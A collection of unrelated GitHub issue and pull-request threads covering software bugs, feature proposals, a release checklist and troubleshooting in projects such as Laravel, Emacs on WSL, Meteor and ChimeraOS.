https://www.when2meet.com/?12238619-choe4 Please fill this out.

I'll make the when2meet poll. What is the preferred time zone?

Est since both @neubig and I are in that

I'm also in EST. I also generally work on this in the evenings and nights during weekdays. Friday morning is an exception. I'll fill out the when2meet!

Looks like we can do the meeting at 10:30/now. I'll create a voice channel on discord

These datasets look awesome, could you please add them to this spreadsheet, we are consolidating them there: https://docs.google.com/spreadsheets/d/1eOVxhLwksOJ51PbiMxzogc-sWu6NylEVPdmEPcbxu28/edit?usp=sharing

Note: GHTorrent Project: A good way to efficiently retrieve the info of many github repos https://ghtorrent.org/

Another thing to add is checking for duplicate code, from https://dl.acm.org/doi/10.1145/3133908: "This paper analyzes a corpus of 4.5 million non-fork projects hosted on GitHub representing over 428 million files written in Java, C++, Python, and JavaScript. We found that this corpus has a mere 85 million unique files. In other words, 70% of the code on GitHub consists of clones of previously created files."
Relevant paper on the "adverse effects of code duplication in machine learning models on code": https://arxiv.org/abs/1812.06469
The tool that comes with the above paper: https://github.com/Microsoft/near-duplicate-code-detector

Note, we would want to also want the ability to do a reverse search of the code datasets for software that is derived from this so that if we return a large amount of code that is under a specific license such as the GPL then we should disallow that output since the output might be infringing on copyright. This would also help us make sure we aren't overfitting.


[ Proposed feature ] enable and disable checks in repos

This is a proposal to have a feature in git-seekret that can enable or disable particular types of checks on a per repository basis.  Some possible types of checks include checking staged files, checking all commits in a repository.
Acceptance Criteria

[ ] Enabled check features are added to the configuration settings for git-seekret in the local ./.git/config file.
[ ] TBD

Interaction Sketch
To enable checking of staged files
git-seekret check --enable staged
To disable checking of staged files:
git-seekret check --disable-staged

Closing as not necessary..
You want staged files, use --staged. If you don't want staged files, use --commit.


Emacs has screen drawing issues in the terminal

Scrolling around a file can cause display issues: sometimes characters are drawn in the wrong positions, sometimes they are not drawn. It's particularly obvious if you navigate to the end of the file then move back up and down repeatedly, hitting end of buffer. Also, Emacs does not seem to respond correctly to resizing of the terminal window. The attached animation demonstrates these issues, notice how strbuf_release appears spuriously at the end of the file after scrolling down, how some inverse video characters from the modeline appear half way up the screen on the right hand side, and how the mini-buffer seems to end up 3 lines tall when I resize the window.

If you don't want to install Emacs you can demonstrate similar problems in "tig" the terminal git browser.

See issue #52
TERM should probably be set to pcansi or interix
e.g.:
export TERM=pcansi

We have a fix for this that's bubbling up through our build system.

It's much better in Build 14332, to the point that I was not able to generate any problems by simply scrolling the file up and down. However, resizing the terminal window is still not handled properly.

Great to hear we've addressed some of the issues you report :) We have a few more fixes on the way for resizing-related issues, coming soon to an insiders build near you 😁
Closing for now - please reopen if you see continued issues here.

I still see Emacs drawing issues in 16299.  Do you want me to elaborate here or is there somewhere else I should go


Cant find a way to cleanly reinstall this

i installed the plug in pre signing up to Intelligent Octopus.
Now that I've switched to IO, the plug in will not pull any data.
So I've selected delete from the menu, removed the plug in, restarted HA, stopped HA, re-added the plug in and now it wont reinstall
Whats the proper method for removing this plug in??

James im desperate to get IO working but cant till it is cleanly removed.
any ideas?

Fixed it.
Installing a clean version of HA alongside running one and compared configs and database and removing what was added from core registry and core entries


Spectrum power interpolation doesn't respect disable option when calculating amplitude

Describe the bug
I am not certain if this is a bug or intended behaviour. This line in the source interpolates between the current power and the next higher power, but it doesn't check if the next power is disabled or not.
Additional context
There are three options I can think of:

Leave as is. This is expected behaviour
Find the next highest power that is enabled
If the next power is disabled, skip interpolation

The current option (1) can be a little confusing when debugging or authoring. I was wondering why a disabled slider was still affecting the spectrum.
I was going to do a PR, but I was not sure which option you would prefer.

Thanks for IDing this and for talking it through.
Is there an option 4 where the disabled flag forces the corresponding power down to the minimum value. So it will be as if the slider is set to the far left, regardless of its actual value. What do you think?

Option 4 sounds good. There is a PR waiting.


[Licenses 1/15] Catalog2registration updates for license expressions

Catalog2registration has to be updated to process license expressions from catalog:

Proper license URL generation
Add license expression property to registration blob.

Related to #6522.

Done by @zhhyu  as part of #6522.


v0.12.1-alpha endgame

DRIs

DRI

Endgame
@phillipleblanc

QA
@y-f-u

Docs
@digadeesh

Comms
@karifabri

Milestone Release Timeline

Date
Description

Planning
Mon, Apr 29

Release
Mon, May 6

Announcement
Tue, May 7

Planning Checklist

[x] Review the specific v0.12.1-alpha Milestone

Release Checklist

[x] All outstanding spiceai feature PRs are merged @phillipleblanc
[x] Full test pass and update if necessary over README.md (please get screenshots!) @ewgenius
[x] Full test pass and update if necessary over Docs (please get screenshots!) @digadeesh
[x] Full test pass and update if necessary over existing and new Samples (please get screenshots/videos!) @y-f-u
[x] Full test pass and update if necessary over existing and new Quickstarts (please get screenshots/videos!) @y-f-u
[x] Merge Docs PRs @digadeesh
[x] Merge Registry PRs @phillipleblanc
[x] Merge Samples PRs @y-f-u
[x] Merge Quickstarts PRs @y-f-u
[x] Update release notes @phillipleblanc
[x] Update acknowledgements by triggering Generate Acknowledgements workflow @phillipleblanc
[x] Verify version.txt and version in Cargo.toml are correct using docs/RELEASE.md @phillipleblanc
[x] Ensure E2E Test CI is green on trunk branch @y-f-u
[x] QA DRI sign-off @y-f-u
[x] Docs DRI sign-off @digadeesh
[x] Create a new branch release-v[semver] and merge all relevant changes into it. E.g. release-v0.9.1-alpha @phillipleblanc
[x] Release the new version by creating a pre-release GitHub Release with the tag from the release branch. E.g. v0.9.1-alpha @phillipleblanc
[x] Release any docs updates by creating a v[semver] tag. @digadeesh
[x] Trigger algolia search crawler workflow, to reindex updated docs. @digadeesh
[x] Update the Helm chart version (image.tag version & chart version). Ensure docker build for the tag from the release branch completed (~2 hours) and trigger the Release Chart workflow. @ewgenius
[x] Final test pass on released binaries @phillipleblanc
[x] Run E2E Test Release Installation @phillipleblanc
[x] Update version.txt and version in Cargo.toml to the next release version. @phillipleblanc
[x] Update versions in brew taps @phillipleblanc
[x] Remove the released version from the ROADMAP @phillipleblanc

Announcement Checklist

[x] X: @spice_ai @karifabri
[x] Reddit: reddit.com/r/spiceai @karifabri
[x] Discord: #announcements @karifabri
[x] Telegram: spiceai @karifabri
[x] Blog: blog.spiceai.org @karifabri

PR reference

https://github.com/spiceai/spiceai/pull/1323
https://github.com/spiceai/spiceai/pull/1315
https://github.com/spiceai/spiceai/pull/1288

Release is done!


Integrate Statute Text with Explanations

It should be possible to access the text of the relevant pieces of legislation in the answers provided by the reasoner.

I think that this process is going to be easier to implement after we have done #195, and turned the text of the explanations into HTML. We also need to change the text of the references to the sections in the explanations, so that it is not displaying the eId code with the added blawx details. Then, we need to integrate the text of the relevant section. This could be done by including the text in the explanation itself, or we could link to it from the reference. But I don't have a logical external or internal source to link to, so the better option might be to display it as context. Then there is the question of how to know what portions of the text to display, for any given part, and how to integrate the legal text in the explanations with the format of the responses from the API.

Changing the format of the explanations (#195) is finished in the improve_explanations branch.
I've decided to generate an endpoint for collecting the legal text for any given section given the id. Need to create the endpoint, and use the intro/wrapup sections in order to figure out what additional text to include. Plan is to generate the endpoint from the AKN representation using cobalt.

endpoint is created with xml and plain text values. implemented the link to text as a bootstrap tooltip on an anchor on revised section names when they appear in the context of an "according to" statement in explanations (to avoid cluttering it with repeated occurrances) this issue is now resolved in enhanced explanations branch, will be merged. All that's left to do is update the demonstration code to use the new rule reference blocks, so that code generation will work properly.


Meteor Deploy to EC2 successful but does not work

I have successfully deployed a meteor app to an aws ec2 server via meteor-up.but it does not work, i am using ami - ami-5189a661for Amazon EC2.
ERR_CONNECTION_TIMED_OUT
PING <IP_ADDRESS> (<IP_ADDRESS>): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
Request timeout for icmp_seq 2
Request timeout for icmp_seq 3
Request timeout for icmp_seq 4
Request timeout for icmp_seq 5
Request timeout for icmp_seq 6
Public DNS
ec2-52-26-202-242.us-west-2.compute.amazonaws.com
Can you please help.

You may need to open the port 80 to access your meteor application

Thank you, its working fine now. Added http rule in security group.

@arunoda Please close this issue. Thank u for your time and MUP.


Queued job's handle method is not getting called

Laravel Version: 5.3.* ( latest version )
PHP Version: 7.0.3

Description:

Queue Driver: Redis

Queued job's handle method is not getting called by the queue processor. Queue worker shows that job has been processed properly but code specified inside the handle method is not getting executed.
Then I tried to queue a mail to check whether its the problem with the driver but emails are getting triggered properly.
Steps To Reproduce:
Below job is been dispatched from the controller
<?php

namespace App\Jobs;

use Illuminate\Bus\Queueable;
use Illuminate\Queue\SerializesModels;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Contracts\Queue\ShouldQueue;

class SearchTool implements ShouldQueue
{
    use InteractsWithQueue, Queueable, SerializesModels;

    /**
     * Create a new job instance.
     *
     * @return void
     */
    public function __construct()
    {

    }

    /**
     * Execute the job.
     *
     * @return void
     */
    public function handle()
    {
        touch('/tmp/tool_got_called.txt');

        return;
    }

}

dispatch(new SearchTool());

php artisan queue:work redis --tries=3

am I doing anything wrong?
Thanks

It works when I run with php artisan queue:listen redis
can anyone explain what's the problem?

I have the same issue with queue:work using the database as well. queue:listen seems to work.
Laravel v5.4.16

Same problem here with database driver, it works with listen but not with work command. Any explication?

Any explanation for this?

queue:listen does not work either for me, any updates on this?

Just found out it must be an OS X issue, not a surprise.
Works fine on Ubuntu 16.04

I have the same problem. The job is constructed but not dispatched.
__construct():

handle():

If I use laravel-dump-server, I can't see any output in the handle method. This is what I get:
GET http://localhost/api/videos/176
-----------------------------------

 ------------ ---------------------------------
  date         Wed, 29 Aug 2018 11:28:31 -0500
  controller   "VideoController"
  source       RetrieveVideo.php on line 42
  file         app/Jobs/RetrieveVideo.php
 ------------ ---------------------------------

array:2 [
  "video" => array:20 [
    "id" => 176
    "state" => "pending"
    "type" => "other"
    "latitude" => 6.20714165
    "longitude" => -75.57301754
    "hash" => "da6359d74e0512eb0da262828b8b54fdf10035d6773c4ecc5ca2b00efa9a63b7"
    "ids3" => 293
    "reg_id" => "fyYB19USp8s:APA91bEG6LiQrUok1VvaLpNkGCgrH-XqfkD_DFWtaIxsNj7NE8En8O5ubg2VNcvT1TCB-Y_DjttHWSLpeToxW1EVSbk4HrqmjijJPbARQfE5MZmF4UgMnJz4I977ec2qaFplodbqGGJs"
    "thumbnail_id" => 989
    "has_thumbnail_error" => false
    "geo" => array:5 [
      0 => array:3 [
        "id" => 33409
        "name" => "Patio Bonito"
        "type" => "neighborhood"
      ]
      1 => array:3 [
        "id" => 33639
        "name" => "El Poblado"
        "type" => "commune"
      ]
      2 => array:3 [
        "id" => 33991
        "name" => "MEVALPNVCCD05E01000009"
        "type" => "quadrant"
      ]
      3 => array:3 [
        "id" => 34068
        "name" => "EST El Poblado"
        "type" => "policeStation"
      ]
      4 => array:3 [
        "id" => 34086
        "name" => "Distrito 5"
        "type" => "policeDistrict"
      ]
    ]
    "created_at" => "2018-08-29 11:02:06"
    "updated_at" => "2018-08-29 11:02:08"
    "recording_sid" => "RT5b1e998952549651eafe176f9072309a"
    "participant_sid" => "PA42d240f0fe67ce2c21d95a7e0e7c46e0"
    "composition_sid" => null
    "platform" => "android"
    "audio_sid" => null
    "comments_count" => 0
    "comments" => []
  ]
  "request" => Illuminate\Http\Request {#55
    #json: null
    #convertedFiles: null
    #userResolver: Closure {#399
      class: "Illuminate\Auth\AuthServiceProvider"
      this: Illuminate\Auth\AuthServiceProvider {#138 …}
      parameters: {
        $guard: {
          default: null
        }
      }
      use: {
        $app: Illuminate\Foundation\Application {#5 …}
      }
      file: "./vendor/laravel/framework/src/Illuminate/Auth/AuthServiceProvider.php"
      line: "85 to 87"
    }
    #routeResolver: Closure {#429
      class: "Illuminate\Routing\Router"
      this: Illuminate\Routing\Router {#34 …}
      use: {
        $route: Illuminate\Routing\Route {#318 …}
      }
      file: "./vendor/laravel/framework/src/Illuminate/Routing/Router.php"
      line: "635 to 637"
    }
    +attributes: Symfony\Component\HttpFoundation\ParameterBag {#65
      #parameters: []
    }
    +request: Symfony\Component\HttpFoundation\ParameterBag {#63
      #parameters: []
    }
    +query: Symfony\Component\HttpFoundation\ParameterBag {#63}
    +server: Symfony\Component\HttpFoundation\ServerBag {#67
      #parameters: array:67 [
        "SRC" => "/usr/local"
        "PHP_EXTRA_CONFIGURE_ARGS" => "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data"
        "LAME_VERSION" => "3.99.5"
        "HOSTNAME" => "ae8d4e407aed"
        "PHP_INI_DIR" => "/usr/local/etc/php"
        "LD_LIBRARY_PATH" => "/usr/local/lib"
        "LIBASS_VERSION" => "0.13.7"
        "OPENCOREAMR_VERSION" => "0.1.4"
        "HOME" => "/var/www"
        "FRIBIDI_VERSION" => "0.19.7"
        "PHP_LDFLAGS" => "-Wl,-O1 -Wl,--hash-style=both -pie"
        "PHP_CFLAGS" => "-fstack-protector-strong -fpic -fpie -O2"
        "PHP_MD5" => ""
        "PHP_VERSION" => "7.2.5"
        "OPUS_VERSION" => "1.2"
        "OPENJPEG_VERSION" => "2.1.2"
        "VPX_VERSION" => "1.6.1"
        "GPG_KEYS" => "1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F"
        "PHP_CPPFLAGS" => "-fstack-protector-strong -fpic -fpie -O2"
        "PHP_ASC_URL" => "https://secure.php.net/get/php-7.2.5.tar.xz.asc/from/this/mirror"
        "COMPOSER_ALLOW_SUPERUSER" => "1"
        "PHP_URL" => "https://secure.php.net/get/php-7.2.5.tar.xz/from/this/mirror"
        "FFMPEG_VERSION" => "3.4"
        "FONTCONFIG_VERSION" => "2.12.4"
        "PATH" => "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
        "THEORA_VERSION" => "1.1.1"
        "OGG_VERSION" => "1.3.2"
        "LIBVIDSTAB_VERSION" => "1.1.0"
        "XVID_VERSION" => "1.3.4"
        "FDKAAC_VERSION" => "0.1.5"
        "PHPIZE_DEPS" => "autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c"
        "VORBIS_VERSION" => "1.3.5"
        "PWD" => "/var/www"
        "PHP_SHA256" => "af70a33b3f7a51510467199b39af151333fbbe4cc21923bad9c7cf64268cddb2"
        "X264_VERSION" => "20170226-2245-stable"
        "X265_VERSION" => "2.3"
        "FREETYPE_VERSION" => "2.5.5"
        "USER" => "www-data"
        "HTTP_ACCEPT" => "application/json"
        "HTTP_USER_AGENT" => "insomnia/6.0.2"
        "HTTP_HOST" => "localhost"
        "PATH_INFO" => ""
        "SCRIPT_FILENAME" => "/var/www/public/index.php"
        "REDIRECT_STATUS" => "200"
        "SERVER_NAME" => ""
        "SERVER_PORT" => "80"
        "SERVER_ADDR" => "<IP_ADDRESS>"
        "REMOTE_PORT" => "58386"
        "REMOTE_ADDR" => "<IP_ADDRESS>"
        "SERVER_SOFTWARE" => "nginx/1.13.12"
        "GATEWAY_INTERFACE" => "CGI/1.1"
        "REQUEST_SCHEME" => "http"
        "SERVER_PROTOCOL" => "HTTP/1.1"
        "DOCUMENT_ROOT" => "/var/www/public"
        "DOCUMENT_URI" => "/index.php"
        "REQUEST_URI" => "/api/videos/176"
        "SCRIPT_NAME" => "/index.php"
        "CONTENT_LENGTH" => ""
        "CONTENT_TYPE" => ""
        "REQUEST_METHOD" => "GET"
        "QUERY_STRING" => ""
        "FCGI_ROLE" => "RESPONDER"
        "PHP_SELF" => "/index.php"
        "REQUEST_TIME_FLOAT" =><PHONE_NUMBER>.6944
        "REQUEST_TIME" =><PHONE_NUMBER>
        "argv" => []
        "argc" => 0
      ]
    }
    +files: Symfony\Component\HttpFoundation\FileBag {#60
      #parameters: []
    }
    +cookies: Symfony\Component\HttpFoundation\ParameterBag {#66
      #parameters: []
    }
    +headers: Symfony\Component\HttpFoundation\HeaderBag {#68
      #headers: array:5 [
        "accept" => array:1 [
          0 => "application/json"
        ]
        "user-agent" => array:1 [
          0 => "insomnia/6.0.2"
        ]
        "host" => array:1 [
          0 => "localhost"
        ]
        "content-length" => array:1 [
          0 => ""
        ]
        "content-type" => array:1 [
          0 => ""
        ]
      ]
      #cacheControl: []
    }
    #content: null
    #languages: null
    #charsets: null
    #encodings: null
    #acceptableContentTypes: null
    #pathInfo: "/api/videos/176"
    #requestUri: "/api/videos/176"
    #baseUrl: ""
    #basePath: null
    #method: "GET"
    #format: null
    #session: null
    #locale: null
    #defaultLocale: "en"
    -isHostValid: true
    -isForwardedValid: true
    basePath: ""
    format: "html"
  }
]

Solved!
I had to remove $this->request from the constructor.

For me it was also the constructor, where I've got a Statement to work with an interface:
 $this->service = resolve(ServiceInterface::class);

I was having this problem too, where the handle method on my job was not getting called.
I tried removing some things from my __construct(), but that did not work. My daemon was running and processing the job in an instant and not logging any of my Log calls in the handle method.
Eh. So, I just did config:clear, config:cache, cache:clear and then restarted the worker daemon.
When I ran the job command again, it did not skip the handle method and executed properly.
So, if anyone else comes here, and can try what I tried... it worked for me.

php artisan queue:work
Running this command will instruct Laravel to create an instance of your application and start executing jobs, this instance will stay alive indefinitely which means the action of starting your Laravel application happens only once when the command was run & the same instance will be used to execute your jobs, that means the following:
You save server resources by avoiding booting up the whole app on every job.
You have to manually restart the worker to reflect any code change you made in your application.

Make sure your .env file is set to the correct QUEUE_CONNECTION.
I was looking for few hours what the reason for my jobs not dispatching, until I finally double checked my QUEUE_CONNECTION and it was set to database when my connection was configured for redis.
Hours to find, seconds to fix... ;) Hope it helps someone...

I face similar Issue in Laravel 11, constructor called but handle is not called by the laravel queue worker.  I have spent more then 48 hourse searhing and trying different solutions, no luck anyone out there, have luck with this issue.

@taylorotwell  can you help what is wrong with my code.


Add ModemManager package to build for 4G Modems

A number of consoles are shipping with internal and/or USB 4G LTM modems.
Adding the ModemManager package will allow Chimera to use 4G when not connected to wifi.
I have personally tested this on a GPD Win 4 with USB 4G by running:
sudo frzr-unlock
sudo rm -fr /etc/pacman.d/gnupg
sudo pacman-key --init
sudo pacman-key --populate archlinux
sudo pacman -S archlinux-keyring
sudo pacman -S modemmanager

A new setting becomes available on the desktop settings to enable Mobile Internet and configure APN if necessary.

https://wiki.archlinux.org/title/NetworkManager#Mobile_broadband_support Seems simple enough and it integrates nicely into NetworkManager


Yet another suggestion -- CopyQ

Hi Nat,
This time, it is a clipboard manager called CopyQ. This works via XWayland though, which is why I am not sure whether this qualifies to be in the list of pure Wayland software or not, but that is for you to decide.
Many thanks
DN-debug

why would it be pure wayland when it cant run in pure wayland environment?

I believe you might want to re-read my statement and the one you wrote as well, I never said it to be pure Wayland.

The GUI is X11, but it talks to the clipboard over Wayland: https://github.com/hluk/CopyQ/tree/master/src/platform/x11/systemclipboard

xPMo is correct, XWayland always works as a proxy in-between, so it is natural for it to intercept and forward requests to and from Wayland.
@natpen It doesn't appear to me that the XWayland applications are going to be part of this list, so what do you think? Shall I close it? Please suggest.

imo it should be added, it has a native clipboard implementation (just like the wl-clipboard tools).


Use eslint and prettier

eslint
prettier

Sure I will go ahead an add them at the project level. I'll resolve the issue once it is done.

Added changes because your PR had some issues with unclean commits and there was errors in your code as well. I really appreciate your help and I think this was a great proposal. Good job on all the testing changes. For future changes you can target master as using staging is too cumbersome and made the commit history a little messy.
Here is the changes for reference:
eslint - https://github.com/mcqua007/quantdom/pull/15 & prettier - https://github.com/mcqua007/quantdom/pull/12


VS Code extension with code snippet templates

This is the first implementation of VS Code extension for Predicate.
This PR also features code snippets that will help predicate policy authors with easy access to import classes as well as creating policy object and test method based on templates.
Refer to README file for more details: README.md
Demo:
snippet-demo

should we track the mp4 in Git LFS instead? Usually committing larger binary assets isn't recommended with Git.

@xacrimon, Good point on tracking in Git LFS. But I'll remove the mp4 file for now and add this again when we write docs so that we wont duplicate demo files over multiple locations.